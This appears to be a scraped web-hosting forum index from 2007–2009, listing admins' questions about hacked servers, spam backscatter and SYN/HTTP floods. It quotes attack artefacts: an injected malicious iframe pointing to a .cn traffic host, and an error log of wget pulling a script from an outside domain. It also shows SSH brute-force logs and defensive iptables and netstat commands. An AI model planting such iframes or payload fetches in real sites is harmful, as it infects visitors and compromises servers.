How To Solve A Mail Attack
Aug 30, 2007
how it's possible to solve this problem: My domain name has an e-mail address that is being forged and used by a spammer, and I get an incredible amount of bounced emails to the point to bring down a Dual-Xeon with 4GB of RAM. This e-mail account has been discontinued and e-mail sent to non-existent accounts is set to be thrown away. The average server load goes through the roof in a few seconds as soon as I point the MX entries to the server. I don't have the money to set up a load-balanced system. What could I do to host this domain name and use e-mail, only allowing emails to existing email accounts?
View 14 Replies
ADVERTISEMENT
Jan 12, 2007
I have a dedicated server and it works very well to all my sites and my scripts until 2 weeks ago, I start getting errors from my sites the following error message php_network_getaddresses: getaddrinfo failed: Temporary failure in name resolution
I thought this is a temporary error only when I first encounter it, but its been 2 weeks now and still the problem is continuesly showing.
The problem cause my 2 sites being penalized from google search engine because of this problem.
View 6 Replies
View Related
Apr 23, 2007
My server have been hacked by a user that have the nick of aftehner
excatly what he does is enter and execute a command by a php script that execute a command in shell that delete all the files that have in their name index or main, so he destruy alot of information.
My question is how can i reinstall everything in a remote server, I already try to reinstall cpanel, apache (but it doesnt work with the cpanel version so i try it to install a standalone but it only shows 1 page for all domains hosted)
I dont know what can i do, It delete alot of information and replace with a file of hacked by aftehner or something like that.
Yum is doesnt work correctly, i already try to reinstall python, perl, php, but i still having problems. I have been working all the day until 4 am for 3 days trying to fix it, I already know how he make the attack and i have all the log i can share this information with you for not have this problem.
What do you reccommend to do for solve this problem?
Server
Linux Fedora
Athlon XP 3800+
1 gb RAM
Data center: Layered tech
CPANEL / WHM
A domain hosted in it: Mindev.com
They hacked the website by the domain: Lodice.com
View 4 Replies
View Related
Nov 16, 2008
i see my websites are infected with some trojan.
there are some iframe tag simlilar to this in all index files
<iframe src="http://traff<<removed>>.cn/in.cgi?27" width=100 height=80></iframe>
any idea how might this iframe inserted in my codes.
i have tried to format my systems and remove all saved ftp passwords , but still this virus is comming back and the strange thing is i have website on different servers infected with same virus
any idea how this is happened and how to avoide this?
View 9 Replies
View Related
Mar 5, 2008
My ISP gave me the box with /usr allocated only 8G, now is 6G used. I suppose that Cpanel will take space when I create email accounts, forwarders, maybe other stuff too.
What can I do to prevent running out of space?
View 5 Replies
View Related
Mar 12, 2007
I am trying to install some packages on my system and sometimes they depend on different, sometimes earlier, sometimes later versions of library packages on my system.
In that situation is it better to get the source for the package and recompile it with what you have on your system?
I am assuming that the dependent libraries the packages where compiled with were what was available on the package developer's system and do not necessarily contain new features lacking in the older versions.
Will recompling such packages from the source rpms fix the problems in most cases?
One particular group I persistently come across is the libcX.so libraries.
View 0 Replies
View Related
Jun 28, 2009
I installed Joomla today, and it went smoothly except that under Help -> System Info in the Joomla admin panel, all "Directory Permissions" are "Unwritable."
I've read up on various solutions, such as installing suphp to take care of user permissions. But if I have my own Linux VPS and I am the only user (i.e. noone else has accounts on my VPS), what is the easiest way to fix this issue? Can I just CHMOD those directories to 777 without worrying about causing a security issue? Or is there a similarly easy solution for someone like me with very basic Linux knowledge?
View 14 Replies
View Related
May 4, 2007
We've had a VPS for just over a month now. I am not going to mention the host by name (yet) but they advertise here and other people here reported liking them.
Sadly it's not my experience and I regret my purchase.
Every morning for the past few weeks, we get load spikes every 30 minutes that make our site unusable for a minute (on our VPS, any load over 1.0 is sluggish, over 2.0 is virtually unusable, over 3 is unresponsive)
Here's a series of days as an example:
[url]
The worst part about this is the host insists 1. either it's not happening or 2. they can't find it
I know it's happening because when I try to load a page on the half-hour, it takes over 13 seconds (less than 1 second normally). And it's fairly obvious it's someone doing a cron job with some nasty downloading, uploading, or maybe a massive mysql update.
Someone tell me what to tell them because this is driving me out of my mind. The load is NOT being caused by ourselves, I've made sure all our cron jobs don't happen on the exact half hour and we get lots of traffic later in the day without loads.
View 14 Replies
View Related
Mar 27, 2015
Last night the plesk auto updater ran an update. And i was wondering if others have had the same issue?
CentOS6, RHEL5 x64 Plesk 12 Unlimited
Detecting installed product components.
Gathering information about installed license key...
Loaded plugins: fastestmirror
Loading mirror speeds from cached hostfile
[Code] .....
ERROR: The Yum utility failed to install the required packages.
Attention! Your software might be inoperable.
Please, contact product technical support.Click to expand...
View 9 Replies
View Related
Jun 16, 2014
I'm getting multiple smtp mass mail attack, using weak passwords.
Is there a command, a part from
/usr/local/psa/admin/sbin/mail_auth_view
to list only unsecure password?
View 1 Replies
View Related
Mar 11, 2008
Quote:
Mar 10 20:17:55 host kernel: printk: 102 messages suppressed.
Mar 10 20:17:56 host kernel: printk: 3 messages suppressed.
Mar 10 20:18:01 host kernel: printk: 98 messages suppressed.
Mar 10 20:18:35 host kernel: printk: 34 messages suppressed.
Mar 10 20:18:51 host kernel: printk: 189 messages suppressed.
Mar 10 20:18:56 host kernel: printk: 195 messages suppressed.
Mar 10 20:19:02 host kernel: printk: 249 messages suppressed.
Mar 10 20:19:06 host kernel: printk: 36 messages suppressed.
Mar 10 20:19:21 host kernel: printk: 3 messages suppressed.
Mar 10 20:19:26 host kernel: printk: 342 messages suppressed.
Mar 10 20:19:31 host kernel: printk: 509 messages suppressed.
Mar 10 20:19:47 host kernel: printk: 54 messages suppressed.
Mar 10 20:19:51 host kernel: printk: 421 messages suppressed.
Mar 10 20:19:56 host kernel: printk: 542 messages suppressed.
Mar 10 20:20:01 host kernel: printk: 785 messages suppressed.
Mar 10 20:20:16 host kernel: printk: 340 messages suppressed.
Mar 10 20:20:21 host kernel: printk: 337 messages suppressed.
Mar 10 20:20:26 host kernel: printk: 430 messages suppressed.
Or is this something else? It's been going on for about 40 minutes. I seen my load jump to 20, to 100 and back and fourth
View 6 Replies
View Related
May 24, 2009
I'm sure that i have Trojans and Viruses on my Server but every time i contacted My Company they ask me to pay money and then they will check and scan my server
so is it any Free application which can scan and remove all bad files on my Server? i'm looking for free applications to scan the whole server
View 5 Replies
View Related
Jul 18, 2009
My server stop responding, I couldn't access via webmin or ssh, and DNS were not responding, so I have to ask for a reboot and now everything is fine.
Looking at the logs I found this:
Code:
Jul 18 19:23:12 server sshd[18484]: Failed password for root from 61.145.196.117 port 56817 ssh2
Jul 18 19:23:12 server sshd[18485]: Failed password for root from 61.145.196.117 port 60227 ssh2
Jul 18 19:23:13 server sshd[18488]: Failed password for root from 61.145.196.117 port 38038 ssh2
Jul 18 19:23:15 server sshd[18493]: Failed password for root from 61.145.196.117 port 49884 ssh2
Jul 18 19:24:30 server sshd[18497]: Failed password for root from 61.145.196.117 port 37929 ssh2
Jul 18 19:25:06 server sshd[18521]: Did not receive identification string from 61.145.196.117
Jul 18 19:25:09 server sshd[18508]: Did not receive identification string from 61.145.196.117
Jul 18 19:25:14 server sshd[18505]: fatal: Timeout before authentication for UNKNOWN
Jul 18 19:26:00 server sshd[18509]: Did not receive identification string from 61.145.196.117
And searching that IP on google I found it here: http://www.tcc.edu.tw/netbase/net/in...?fun=240&prd=3
And is flagged as a SSH Attack.
Any ideas why my server stopped working? and how to prevent it?
Im using CentOS 5.0
View 12 Replies
View Related
Jun 11, 2009
i found my site load slowly, the cpu load is good. I run this command
[root@host ~]# netstat -nap |grep SYN |wc -l
526
It's seem my server is having problem with SYN attack. Is there anyway to protect it ?
I'm running apache 2.
View 14 Replies
View Related
May 12, 2009
My site currently in prolong HTTP flood attack since 2 weeks ago. The attack was never stop and for this moment i could only mitigate the attack using my own firewall (hardware).
Since my ISP is not interested to help from upstream, even provide any mitigation services, i could only doing mitigation on my own source or using proxy services alternatively as well, but i've chose to tried on my own. I've tried once on one of well-known mitigation services out there but it seems not fully satisfied me since most of legitimate traffic is blocked from their source.
What i could do now is keep staying alive as well as will not going down on whatever situation becomes worst (but if the attack change to udp attack, i couldn't help myself coz there must be high incoming bandwidth into my network). My network is totaling 10MB last time but since this attack i've been forced to subscribe for 30MB in order to keep balance on the attack.
I've blocked all access except for my country and some other neighbours. If i change policy to allow all countries, the load of firewall will become max and after that hang will hang in less than a minute. I've done load balancing of 4 servers (8GB memory each one) and it seems the condition is getting under control with slight problem of server hang (memory shortage) and very limited keep alive connection.
Now what am i thinking is to buy a router objectively to null route incoming specific IP of countries so i can change my firewall policy to allow all connections as well as to help the firewall itself release its burden halting blocked IP that currently keep hitting itself that could might impact its performance.
Which brands of router is possible doing this thing?
Do you have some other suggestions instead of buying router?
View 8 Replies
View Related
Apr 12, 2008
i am just having one issue in one of my highly visited website hangibar.com, its being hosted in softlayer, we are facing synattack too much in this website.
the solution which microsoft given in their website related with tcp/ip registry entry but thing is same , some where and some connections become increases too much over tcp/ip. due to that reason website become very sticky and it stop functioning the execution of sql process, during this issue i have to restart the server to establish a fresh connection.
View 3 Replies
View Related
Dec 9, 2008
im getting a syn attack and my vps getting overloaded what im doing is banning ip's that gets most connections
after banning server get normal but if there anyway to stop this post method
View 11 Replies
View Related
Oct 30, 2008
My server is under dos attack (http) , I have installed APF firewall and ddos deflate. I configure them to work together.
now if any IP with more than 100 connections is black listed by dos deflate, I can see it in apf's deny_hosts.rules file.
everything seems correct, but my server still very slow.
the ip which is causing that has more than 1000 request and is blacklisted.
View 11 Replies
View Related
May 15, 2007
There are lot of perl process with 100% usage on server. When i tried to view error_log it shows following:
[root@local ~]# tail -f /var/log/httpd/error_log
=> `Lnx.txt'
Resolving gihkus.com... 208.98.48.116
Connecting to gihkus.com|208.98.48.116|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 16,577 (16K) [text/plain]
0K .......... ...... 100% 316.78 KB/s
05:26:03 (316.78 KB/s) - `Lnx.txt' saved [16577/16577]
When i tried to view this http://gihkus.com/Lnx.txt it seems to be attack on my server. http://gihkus.com/Lnx.txt is not hosted by us. I have disabled perl support on all domains hosted on our server but still we are under attack. There is nothing special in /tmp.
View 6 Replies
View Related
Jan 4, 2007
Over the past day one of my servers has seen a huge rise in incomming traffic (from normal web requests to a constant 4Mbit/s, peaking upto 80Mbit/s). My outgoing traffic has remained at its normal profile, so I am pretty sure that these are not web requests, and it does not seem to be having an adverse effect on the server (the site still runs perfectly well and quick and load is still less than 1).
However, I am unsure as to how to identify what this traffic is? Are there any easy ways to tell on a FreeBSD server what the source and type of incomming traffic is? I have tried playing with netstat, but an not getting anything useful - I would like to see which ports are involved.
View 6 Replies
View Related
Jul 15, 2007
Am Really suffering here for ddos attack ( apache - pop3 ) every week my server under attack am using APF but now am really wanna get red from it am looking for a powerfull firewall I do not know if CSF Could stop this attack like limiting receiving SYN from an ip or any other policy another thing . i have get this rules from forums but am really weak at iptables rules so can any one help my if these rules useful or not . against Dos attack:
iptables -t nat -N syn-flood
iptables -t nat -A syn-flood -m limit --limit 12/s --limit-burst 24 -j RETURN
iptables -t nat -A syn-flood -j DROP
iptables -t nat -A PREROUTING -i eth0 -d (dest ip) -p tcp --syn -j syn-flood
View 7 Replies
View Related
May 29, 2009
My server is using too many httpd process..I think iam under DDOs attack..I executed the following command..
netstat -an | grep :80 | sort
and the result is this
tcp 0 1491 ::ffff:95.211.10.169:80 ::ffff:213.215.100.110:2263 LAST_ACK
tcp 0 1493 ::ffff:95.211.10.169:80 ::ffff:85.207.126.231:52694 LAST_ACK
tcp ....
View 14 Replies
View Related
Aug 4, 2009
I have a windows server, and today it has a large inbound traffic, so I tried to disable all web service, and after that, the result of netstat -an shows no connection at all, but the server still has large inbound traffic,
Do you have any idea about this?
What should I do now?
View 8 Replies
View Related
Mar 19, 2008
Our server is in attack since 4 days. Http port busy all the time.
When I type :
netstat -na | grep ":80" | awk '{print $5}' | cut -d. -f1-4 | cut -d: -f1 | sort -n| uniq -c | sort -n | tail -5
It shows :
[root@ ~]# netstat -na | grep ":80" | awk '{print $5}' | cut -d. -f1-4 | cut
-d: -f1 | sort -n| uniq -c | sort -n | tail -5
2 65.19.130.24
2 83.149.120.9
4 204.15.73.243
35 222.254.103.142
5128
[root@ ~]#
I wonder the hidden IP of 5128 ??? How to know it?
View 8 Replies
View Related
Jun 21, 2007
The server getting slow with high I/O diskwait then normal, although load is not high.
here is the output of: netstat -anp |grep 'tcp|udp' | awk '{print $5}' | cut -d: -f1 | sort | uniq -c | sort -n .................
View 6 Replies
View Related
Apr 12, 2009
i had installed anti ddos or firewall,but those are useless.His attacks are such great that The server and all the vps are down now. One told me that I should check the ips and receive ips. The attacker is so skillful .describe the best method to defeat him. Be sides the attacker use diffirenet ips in each attack,I block him by iptables but no use…. His attack occupy all the ram and I have to resetart the server… Now this time his attack lead to shutting all the vps down
View 10 Replies
View Related
Jan 6, 2009
My website is under ddos attack from some competitors. I don't know yet how big is the attack. The ips of the ddos attack come from all the world.
I have contacted a few hosting companies specialised in ddos proof hosting, unfortunatly the price is so expensive that i cannot afford it.
So i try to find another solution : my website is only aimed to the french people, so maybe is it possible to install a kind of firewall or proxy located before the server to block all the incoming IP adress not from france ? Do you know some websites who can do this and the price ?
I already try do deny the non-french ip in one htaccess file but the ddos attack saturate the server anyway.
View 11 Replies
View Related
Jul 28, 2009
We are currently experiencing an SYN Flood attack on our primary production server and are looking for some help in resolving the issue.
Running:
Novell SUSE Linux Enterprise Server 10.2-64
SuperMicro X7DBR-E Intel Xeon QuadCore DualProc SATA [2Proc]
Processor Intel Xeon-Clovertown 5320L-QuadCore [1.86GHz]
8GB Memory
@ Softlayer DC in Texas.
Need help within the next hour or two. Please ask any necessary follow up questions and how you might go about resolving the issue (i.e. SYN Cookies, etc.)
View 5 Replies
View Related
May 3, 2009
someone decided to attack my webserver and I can't figure out how to block it.
tcp 0 0 localhost:80 207.44.129.88:2138 SYN_RECV
tcp 0 0 localhost:80 207.44.129.88:2243 SYN_RECV
tcp 0 0 localhost:80 213.66.121.211:63372 SYN_RECV
It's literally thousands of those requests overloading apache. The server is fine, the load average is like .8. But none of the website are loading.
We're hosting with ThePlanet, and they're doing a great job at blocking a huge portion of the attack. But we're still getting hit pretty hard. I've got APF installed, and 3 or 4 anti-dos scripts.
Every once in a while a page will load for the websites, I think we've got just under 50 legit connections.
View 14 Replies
View Related
Jul 2, 2009
My server is currently underattack, I have been able to keep it up but after I ban 500 IPs, I get a lot of different IPs again.
Any idea or suggestion to do mass-ban to those attacking IPs?
tcp 0 0 xxx.xx.xxx.xxx:80 190.87.128.59:3965 SYN_RECV
tcp 0 0 xxx.xx.xxx.xxx:80 82.115.52.10:2323 SYN_RECV
tcp 0 0 xxx.xx.xxx.xxx:80 90.148.137.56:21094 SYN_RECV
tcp 0 0 xxx.xx.xxx.xxx:80 189.237.35.155:57605 ...
View 14 Replies
View Related
